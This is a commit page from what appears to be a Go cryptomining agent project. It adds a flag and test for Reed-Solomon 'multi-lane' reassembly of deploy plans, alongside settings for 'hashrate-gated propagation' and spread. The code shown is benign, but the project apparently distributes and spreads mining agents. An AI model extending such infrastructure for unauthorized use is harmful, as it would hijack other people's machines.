Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
@@ -140,6 +140,8 @@ type BuiltinConfig struct {
|
||||
HashrateGateSpreadMin int
|
||||
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
|
||||
ErasureLanesEnabled bool
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
|
||||
6
agent/config/erasure_lanes.go
Normal file
6
agent/config/erasure_lanes.go
Normal file
@@ -0,0 +1,6 @@
|
||||
package config
|
||||
|
||||
// ErasureLanesEnabled reports whether server policy allows multi-lane Reed–Solomon reassembly.
|
||||
func ErasureLanesEnabled(cfg RuntimeConfig) bool {
|
||||
return cfg.ErasureLanesEnabled
|
||||
}
|
||||
12
agent/config/erasure_lanes_test.go
Normal file
12
agent/config/erasure_lanes_test.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestErasureLanesEnabled(t *testing.T) {
|
||||
if ErasureLanesEnabled(RuntimeConfig{}) {
|
||||
t.Fatal("expected off by default")
|
||||
}
|
||||
if !ErasureLanesEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{ErasureLanesEnabled: true}}) {
|
||||
t.Fatal("expected on when set")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user